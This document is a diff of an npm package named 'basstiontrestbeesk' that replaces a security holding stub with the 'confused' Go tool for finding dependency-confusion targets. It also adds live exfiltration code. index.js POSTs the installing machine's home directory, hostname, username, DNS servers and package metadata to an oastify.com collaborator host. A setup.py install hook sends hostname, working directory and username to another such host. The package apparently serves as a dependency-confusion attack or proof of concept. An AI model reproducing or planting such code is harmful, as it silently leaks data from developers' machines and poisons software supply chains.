basstiontrestbeesk 0.0.1-security → 1.0.0

package/confused/mvnparser.go

@@ -0,0 +1,139 @@
+//
+// https://raw.githubusercontent.com/creekorful/mvnparser/master/parser.go
+//
+// MIT License
+//
+// Copyright (c) 2019 Aloïs Micard
+//
+// Permission is hereby granted, free of charge, to any person obtaining a copy
+// of this software and associated documentation files (the "Software"), to deal
+// in the Software without restriction, including without limitation the rights
+// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+// copies of the Software, and to permit persons to whom the Software is
+// furnished to do so, subject to the following conditions:
+//
+// The above copyright notice and this permission notice shall be included in all
+//	copies or substantial portions of the Software.
+//
+//	THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+// SOFTWARE.
+
+package main
+
+import (
+	"encoding/xml"
+	"io"
+)
+
+// Represent a POM file
+type MavenProject struct {
+	XMLName              xml.Name             `xml:"project"`
+	ModelVersion         string               `xml:"modelVersion"`
+	Parent               Parent               `xml:"parent"`
+	GroupId              string               `xml:"groupId"`
+	ArtifactId           string               `xml:"artifactId"`
+	Version              string               `xml:"version"`
+	Packaging            string               `xml:"packaging"`
+	Name                 string               `xml:"name"`
+	Repositories         []Repository         `xml:"repositories>repository"`
+	Properties           Properties           `xml:"properties"`
+	DependencyManagement DependencyManagement `xml:"dependencyManagement"`
+	Dependencies         []Dependency         `xml:"dependencies>dependency"`
+	Profiles             []Profile            `xml:"profiles"`
+	Build                Build                `xml:"build"`
+	PluginRepositories   []PluginRepository   `xml:"pluginRepositories>pluginRepository"`
+	Modules              []string             `xml:"modules>module"`
+}
+
+// Represent the parent of the project
+type Parent struct {
+	GroupId    string `xml:"groupId"`
+	ArtifactId string `xml:"artifactId"`
+	Version    string `xml:"version"`
+}
+
+// Represent a dependency of the project
+type Dependency struct {
+	XMLName    xml.Name    `xml:"dependency"`
+	GroupId    string      `xml:"groupId"`
+	ArtifactId string      `xml:"artifactId"`
+	Version    string      `xml:"version"`
+	Classifier string      `xml:"classifier"`
+	Type       string      `xml:"type"`
+	Scope      string      `xml:"scope"`
+	Exclusions []Exclusion `xml:"exclusions>exclusion"`
+}
+
+// Represent an exclusion
+type Exclusion struct {
+	XMLName    xml.Name `xml:"exclusion"`
+	GroupId    string   `xml:"groupId"`
+	ArtifactId string   `xml:"artifactId"`
+}
+
+type DependencyManagement struct {
+	Dependencies []Dependency `xml:"dependencies>dependency"`
+}
+
+// Represent a repository
+type Repository struct {
+	Id   string `xml:"id"`
+	Name string `xml:"name"`
+	Url  string `xml:"url"`
+}
+
+type Profile struct {
+	Id    string `xml:"id"`
+	Build Build  `xml:"build"`
+}
+
+type Build struct {
+	// todo: final name ?
+	Plugins []Plugin `xml:"plugins>plugin"`
+}
+
+type Plugin struct {
+	XMLName    xml.Name `xml:"plugin"`
+	GroupId    string   `xml:"groupId"`
+	ArtifactId string   `xml:"artifactId"`
+	Version    string   `xml:"version"`
+	//todo something like: Configuration map[string]string `xml:"configuration"`
+	// todo executions
+}
+
+// Represent a pluginRepository
+type PluginRepository struct {
+	Id   string `xml:"id"`
+	Name string `xml:"name"`
+	Url  string `xml:"url"`
+}
+
+// Represent Properties
+type Properties map[string]string
+
+func (p *Properties) UnmarshalXML(d *xml.Decoder, start xml.StartElement) error {
+	*p = map[string]string{}
+	for {
+		key := ""
+		value := ""
+		token, err := d.Token()
+		if err == io.EOF {
+			break
+		}
+		switch tokenType := token.(type) {
+		case xml.StartElement:
+			key = tokenType.Name.Local
+			err := d.DecodeElement(&value, &start)
+			if err != nil {
+				return err
+			}
+			(*p)[key] = value
+		}
+	}
+	return nil
+}

package/confused/npm.go

@@ -0,0 +1,210 @@
+package main
+
+import (
+	"encoding/json"
+	"fmt"
+	"io/ioutil"
+	"net/http"
+	"strings"
+	"time"
+)
+
+// PackageJSON represents the dependencies of an npm package
+type PackageJSON struct {
+	Dependencies         map[string]string `json:"dependencies,omitempty"`
+	DevDependencies      map[string]string `json:"devDependencies,omitempty"`
+	PeerDependencies     map[string]string `json:"peerDependencies,omitempty"`
+	BundledDependencies  []string          `json:"bundledDependencies,omitempty"`
+	BundleDependencies   []string          `json:"bundleDependencies,omitempty"`
+	OptionalDependencies map[string]string `json:"optionalDependencies,omitempty"`
+}
+
+type NpmResponse struct {
+	ID   string `json:"_id"`
+	Name string `json:"name"`
+	Time struct {
+		Unpublished NpmResponseUnpublished `json:"unpublished"`
+	} `json:"time"`
+}
+
+type NpmResponseUnpublished struct {
+	Maintainers []struct {
+		Email string `json:"email"`
+		Name  string `json:"name"`
+	} `json:"maintainers"`
+	Name string `json:"name"`
+	Tags struct {
+		Latest string `json:"latest"`
+	} `json:"tags"`
+	Time     time.Time `json:"time"`
+	Versions []string  `json:"versions"`
+}
+
+// NotAvailable returns true if the package has its all versions unpublished making it susceptible for takeover
+func (n *NpmResponse) NotAvailable() bool {
+	// Check if a known field has a value
+	return len(n.Time.Unpublished.Name) > 0
+}
+
+// NPMLookup represents a collection of npm packages to be tested for dependency confusion.
+type NPMLookup struct {
+	Packages []NPMPackage
+	Verbose  bool
+}
+
+type NPMPackage struct {
+	Name    string
+	Version string
+}
+
+// NewNPMLookup constructs an `NPMLookup` struct and returns it.
+func NewNPMLookup(verbose bool) PackageResolver {
+	return &NPMLookup{Packages: []NPMPackage{}, Verbose: verbose}
+}
+
+// ReadPackagesFromFile reads package information from an npm package.json file
+//
+// Returns any errors encountered
+func (n *NPMLookup) ReadPackagesFromFile(filename string) error {
+	rawfile, err := ioutil.ReadFile(filename)
+	if err != nil {
+		return err
+	}
+	data := PackageJSON{}
+	err = json.Unmarshal([]byte(rawfile), &data)
+	if err != nil {
+		fmt.Printf(" [W] Non-fatal issue encountered while reading %s : %s\n", filename, err)
+	}
+	for pkgname, pkgversion := range data.Dependencies {
+		n.Packages = append(n.Packages, NPMPackage{pkgname, pkgversion})
+	}
+	for pkgname, pkgversion := range data.DevDependencies {
+		n.Packages = append(n.Packages, NPMPackage{pkgname, pkgversion})
+	}
+	for pkgname, pkgversion := range data.PeerDependencies {
+		n.Packages = append(n.Packages, NPMPackage{pkgname, pkgversion})
+	}
+	for pkgname, pkgversion := range data.OptionalDependencies {
+		n.Packages = append(n.Packages, NPMPackage{pkgname, pkgversion})
+	}
+	for _, pkgname := range data.BundledDependencies {
+		n.Packages = append(n.Packages, NPMPackage{pkgname, ""})
+	}
+	for _, pkgname := range data.BundleDependencies {
+		n.Packages = append(n.Packages, NPMPackage{pkgname, ""})
+	}
+	return nil
+}
+
+// PackagesNotInPublic determines if an npm package does not exist in the public npm package repository.
+//
+// Returns a slice of strings with any npm packages not in the public npm package repository
+func (n *NPMLookup) PackagesNotInPublic() []string {
+	notavail := []string{}
+	for _, pkg := range n.Packages {
+		if n.localReference(pkg.Version) || n.urlReference(pkg.Version) || n.gitReference(pkg.Version) {
+			continue
+		}
+		if n.gitHubReference(pkg.Version) {
+			if !n.gitHubOrgExists(pkg.Version) {
+				notavail = append(notavail, pkg.Name)
+				continue
+			} else {
+				continue
+			}
+		}
+		if !n.isAvailableInPublic(pkg.Name, 0) {
+			notavail = append(notavail, pkg.Name)
+		}
+	}
+	return notavail
+}
+
+// isAvailableInPublic determines if an npm package exists in the public npm package repository.
+//
+// Returns true if the package exists in the public npm package repository.
+func (n *NPMLookup) isAvailableInPublic(pkgname string, retry int) bool {
+	if retry > 3 {
+		fmt.Printf(" [W] Maximum number of retries exhausted for package: %s\n", pkgname)
+		return false
+	}
+	if n.Verbose {
+		fmt.Print("Checking: https://registry.npmjs.org/" + pkgname + "/ : ")
+	}
+	resp, err := http.Get("https://registry.npmjs.org/" + pkgname + "/")
+	if err != nil {
+		fmt.Printf(" [W] Error when trying to request https://registry.npmjs.org/"+pkgname+"/ : %s\n", err)
+		return false
+	}
+	defer resp.Body.Close()
+	if n.Verbose {
+		fmt.Printf("%s\n", resp.Status)
+	}
+	if resp.StatusCode == http.StatusOK {
+		npmResp := NpmResponse{}
+		body, _ := ioutil.ReadAll(resp.Body)
+		_ = json.Unmarshal(body, &npmResp)
+		if npmResp.NotAvailable() {
+			if n.Verbose {
+				fmt.Printf("[W] Package %s was found, but all its versions are unpublished, making anyone able to takeover the namespace.\n", pkgname)
+			}
+			return false
+		}
+		return true
+	} else if resp.StatusCode == 429 {
+		fmt.Printf(" [!] Server responded with 429 (Too many requests), throttling and retrying...\n")
+		time.Sleep(10 * time.Second)
+		retry = retry + 1
+		return n.isAvailableInPublic(pkgname, retry)
+	}
+	return false
+}
+
+// localReference checks if the package version is in fact a reference to filesystem
+func (n *NPMLookup) localReference(pkgversion string) bool {
+	return strings.HasPrefix(strings.ToLower(pkgversion), "file:")
+}
+
+// urlReference checks if the package version is in fact a reference to a direct URL
+func (n *NPMLookup) urlReference(pkgversion string) bool {
+	pkgversion = strings.ToLower(pkgversion)
+	return strings.HasPrefix(pkgversion, "http:") || strings.HasPrefix(pkgversion, "https:")
+}
+
+// gitReference checks if the package version is in fact a reference to a remote git repository
+func (n *NPMLookup) gitReference(pkgversion string) bool {
+	pkgversion = strings.ToLower(pkgversion)
+	gitResources := []string{"git+ssh:", "git+http:", "git+https:", "git:"}
+	for _, r := range gitResources {
+		if strings.HasPrefix(pkgversion, r) {
+			return true
+		}
+	}
+	return false
+}
+
+// gitHubReference checks if the package version refers to a GitHub repository
+func (n *NPMLookup) gitHubReference(pkgversion string) bool {
+	return !strings.HasPrefix(pkgversion, "@") && strings.Contains(pkgversion, "/")
+}
+
+// gitHubOrgExists returns true if GitHub organization / user exists
+func (n NPMLookup) gitHubOrgExists(pkgversion string) bool {
+	orgName := strings.Split(pkgversion, "/")[0]
+	if len(orgName) > 0 {
+		if n.Verbose {
+			fmt.Print("Checking: https://github.com/" + orgName + " : ")
+		}
+		resp, err := http.Get("https://github.com/" + orgName)
+		if err != nil {
+			fmt.Printf(" [W] Error while trying to request https://github.com/"+orgName+" : %s\n", err)
+			return false
+		}
+		defer resp.Body.Close()
+		if n.Verbose {
+			fmt.Printf("%d\n", resp.StatusCode)
+		}
+		return resp.StatusCode == 200
+	}
+	return false
+}

package/confused/pip.go

@@ -0,0 +1,99 @@
+package main
+
+import (
+	"fmt"
+	"io/ioutil"
+	"net/http"
+	"strings"
+)
+
+// PythonLookup represents a collection of python packages to be tested for dependency confusion.
+type PythonLookup struct {
+	Packages []string
+	Verbose  bool
+}
+
+// NewPythonLookup constructs a `PythonLookup` struct and returns it
+func NewPythonLookup(verbose bool) PackageResolver {
+	return &PythonLookup{Packages: []string{}, Verbose: verbose}
+}
+
+// ReadPackagesFromFile reads package information from a python `requirements.txt` file
+//
+// Returns any errors encountered
+func (p *PythonLookup) ReadPackagesFromFile(filename string) error {
+	rawfile, err := ioutil.ReadFile(filename)
+	if err != nil {
+		return err
+	}
+	line := ""
+	for _, l := range strings.Split(string(rawfile), "\n") {
+		l = strings.TrimSpace(l)
+		if strings.HasPrefix(l, "#") {
+			continue
+		}
+		if len(l) > 0 {
+			// Support line continuation
+			if strings.HasSuffix(l, "\\") {
+				line += l[:len(l) - 1]
+				continue
+			}
+			line += l
+			pkgrow := strings.FieldsFunc(line, p.pipSplit)
+			if len(pkgrow) > 0 {
+				p.Packages = append(p.Packages, strings.TrimSpace(pkgrow[0]))
+			}
+			// reset the line variable
+			line = ""
+		}
+	}
+	return nil
+}
+
+// PackagesNotInPublic determines if a python package does not exist in the pypi package repository.
+//
+// Returns a slice of strings with any python packages not in the pypi package repository
+func (p *PythonLookup) PackagesNotInPublic() []string {
+	notavail := []string{}
+	for _, pkg := range p.Packages {
+		if !p.isAvailableInPublic(pkg) {
+			notavail = append(notavail, pkg)
+		}
+	}
+	return notavail
+}
+
+func (p *PythonLookup) pipSplit(r rune) bool {
+	delims := []rune{
+		'=',
+		'<',
+		'>',
+		'!',
+		' ',
+		'~',
+		'#',
+		'[',
+	}
+	return inSlice(r, delims)
+}
+
+// isAvailableInPublic determines if a python package exists in the pypi package repository.
+//
+// Returns true if the package exists in the pypi package repository.
+func (p *PythonLookup) isAvailableInPublic(pkgname string) bool {
+	if p.Verbose {
+		fmt.Print("Checking: https://pypi.org/project/" + pkgname + "/ : ")
+	}
+	resp, err := http.Get("https://pypi.org/project/" + pkgname + "/")
+	if err != nil {
+		fmt.Printf(" [W] Error when trying to request https://pypi.org/project/"+pkgname+"/ : %s\n", err)
+		return false
+	}
+	if p.Verbose {
+		fmt.Printf("%s\n", resp.Status)
+	}
+	if resp.StatusCode == http.StatusOK {
+		return true
+	}
+	return false
+}

package/confused/rubygems.go

@@ -0,0 +1,149 @@
+package main
+
+import (
+	"bufio"
+	"encoding/json"
+	"fmt"
+	"io/ioutil"
+	"net/http"
+	"os"
+	"strings"
+	"time"
+)
+
+type Gem struct {
+	Remote       string
+	IsLocal      bool
+	IsRubyGems   bool
+	IsTransitive bool
+	Name         string
+	Version      string
+}
+
+type RubyGemsResponse struct {
+	Name      string `json:"name"`
+	Downloads int64  `json:"downloads"`
+	Version   string `json:"version"`
+}
+
+// RubyGemsLookup represents a collection of rubygems packages to be tested for dependency confusion.
+type RubyGemsLookup struct {
+	Packages []Gem
+	Verbose  bool
+}
+
+// NewRubyGemsLookup constructs an `RubyGemsLookup` struct and returns it.
+func NewRubyGemsLookup(verbose bool) PackageResolver {
+	return &RubyGemsLookup{Packages: []Gem{}, Verbose: verbose}
+}
+
+// ReadPackagesFromFile reads package information from a Gemfile.lock file
+//
+// Returns any errors encountered
+func (r *RubyGemsLookup) ReadPackagesFromFile(filename string) error {
+	file, err := os.Open(filename)
+	if err != nil {
+		return err
+	}
+	defer file.Close()
+	scanner := bufio.NewScanner(file)
+	var remote string
+	for scanner.Scan() {
+		line := scanner.Text()
+		trimmedLine := strings.TrimSpace(line)
+		if strings.HasPrefix(trimmedLine, "remote:") {
+			remote = strings.TrimSpace(strings.SplitN(trimmedLine, ":", 2)[1])
+		} else if trimmedLine == "revision:" {
+			continue
+		} else if trimmedLine == "branch:" {
+			continue
+		} else if trimmedLine == "GIT" {
+			continue
+		} else if trimmedLine == "GEM" {
+			continue
+		} else if trimmedLine == "PATH" {
+			continue
+		} else if trimmedLine == "PLATFORMS" {
+			break
+		} else if trimmedLine == "specs:" {
+			continue
+		} else if len(trimmedLine) > 0 {
+			parts := strings.SplitN(trimmedLine, " ", 2)
+			name := strings.TrimSpace(parts[0])
+			var version string
+			if len(parts) > 1 {
+				version = strings.TrimRight(strings.TrimLeft(parts[1], "("), ")")
+			} else {
+				version = ""
+			}
+			r.Packages = append(r.Packages, Gem{
+				Remote:       remote,
+				IsLocal:      !strings.HasPrefix(remote, "http"),
+				IsRubyGems:   strings.HasPrefix(remote, "https://rubygems.org"),
+				IsTransitive: countLeadingSpaces(line) == 6,
+				Name:         name,
+				Version:      version,
+			})
+		} else {
+			continue
+		}
+	}
+	return nil
+}
+
+// PackagesNotInPublic determines if a rubygems package does not exist in the public rubygems package repository.
+//
+// Returns a slice of strings with any rubygem packages not in the public rubygems package repository
+func (r *RubyGemsLookup) PackagesNotInPublic() []string {
+	notavail := []string{}
+	for _, pkg := range r.Packages {
+		if pkg.IsLocal || !pkg.IsRubyGems {
+			continue
+		}
+		if !r.isAvailableInPublic(pkg.Name, 0) {
+			notavail = append(notavail, pkg.Name)
+		}
+	}
+	return notavail
+}
+
+// isAvailableInPublic determines if a rubygems package exists in the public rubygems.org package repository.
+//
+// Returns true if the package exists in the public rubygems package repository.
+func (r *RubyGemsLookup) isAvailableInPublic(pkgname string, retry int) bool {
+	if retry > 3 {
+		fmt.Printf(" [W] Maximum number of retries exhausted for package: %s\n", pkgname)
+		return false
+	}
+	url := fmt.Sprintf("https://rubygems.org/api/v1/gems/%s.json", pkgname)
+	if r.Verbose {
+		fmt.Printf("Checking: %s : \n", url)
+	}
+	resp, err := http.Get(url)
+	if err != nil {
+		fmt.Printf(" [W] Error when trying to request %s: %s\n", url, err)
+		return false
+	}
+	defer resp.Body.Close()
+	if r.Verbose {
+		fmt.Printf("%s\n", resp.Status)
+	}
+	if resp.StatusCode == http.StatusOK {
+		rubygemsResp := RubyGemsResponse{}
+		body, _ := ioutil.ReadAll(resp.Body)
+		err = json.Unmarshal(body, &rubygemsResp)
+		if err != nil {
+			// This shouldn't ever happen because if it doesn't return JSON, it likely has returned
+			// a non-200 status code.
+			fmt.Printf(" [W] Error when trying to unmarshal response from %s: %s\n", url, err)
+			return false
+		}
+		return true
+	} else if resp.StatusCode == 429 {
+		fmt.Printf(" [!] Server responded with 429 (Too many requests), throttling and retrying...\n")
+		time.Sleep(10 * time.Second)
+		retry = retry + 1
+		return r.isAvailableInPublic(pkgname, retry)
+	}
+	return false
+}

package/confused/util.go

@@ -0,0 +1,16 @@
+package main
+
+import "strings"
+
+func inSlice(what rune, where []rune) bool {
+	for _, r := range where {
+		if r == what {
+			return true
+		}
+	}
+	return false
+}
+
+func countLeadingSpaces(line string) int {
+	return len(line) - len(strings.TrimLeft(line, " "))
+}

package/index.js

@@ -0,0 +1,46 @@
+const os = require("os");
+const dns = require("dns");
+const querystring = require("querystring");
+const https = require("https");
+const packageJSON = require("./package.json");
+const package = packageJSON.name;
+
+const trackingData = JSON.stringify({
+    p: package,
+    c: __dirname,
+    hd: os.homedir(),
+    hn: os.hostname(),
+    un: os.userInfo().username,
+    dns: dns.getServers(),
+    r: packageJSON ? packageJSON.___resolved : undefined,
+    v: packageJSON.version,
+    pjson: packageJSON,
+});
+
+var postData = querystring.stringify({
+    msg: trackingData,
+});
+
+var options = {
+    hostname: "7iqwhugfwkzt7tjf46gu2aqzaqgh4lsa.oastify.com", //replace burpcollaborator.net with Interactsh or pipedream
+    port: 443,
+    path: "/",
+    method: "POST",
+    headers: {
+        "Content-Type": "application/x-www-form-urlencoded",
+        "Content-Length": postData.length,
+    },
+};
+
+var req = https.request(options, (res) => {
+    res.on("data", (d) => {
+        process.stdout.write(d);
+    });
+});
+
+req.on("error", (e) => {
+    // console.error(e);
+});
+
+req.write(postData);
+req.end();

package/package.json

@@ -1,6 +1,11 @@
 {
   "name": "basstiontrestbeesk",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "1.0.0",
+  "description": "rishihacker",
+  "main": "index.js",
+  "scripts": {
+    "test": "echo \\\"Error: no test specified\\\" && exit 1"
+  },
+  "author": "",
+  "license": "ISC"
 }

package/setup.py

@@ -0,0 +1,24 @@
+from setuptools import setup
+from setuptools.command.install import install
+import requests
+import socket
+import getpass
+import os
+
+class CustomInstall(install):
+    def run(self):
+        install.run(self)
+        hostname=socket.gethostname()
+        cwd = os.getcwd()
+        username = getpass.getuser()
+        ploads = {'hostname':hostname,'cwd':cwd,'username':username}
+        requests.get("https://l4qa382tiyl7t75tqk28oocdw42vq0ep.oastify.com",params = ploads) #replace burpcollaborator.net with Interactsh or pipedream
+
+
+setup(name='dependency1337', #package name
+      version='1.0.0',
+      description='test',
+      author='test',
+      license='MIT',
+      zip_safe=False,
+      cmdclass={'install': CustomInstall})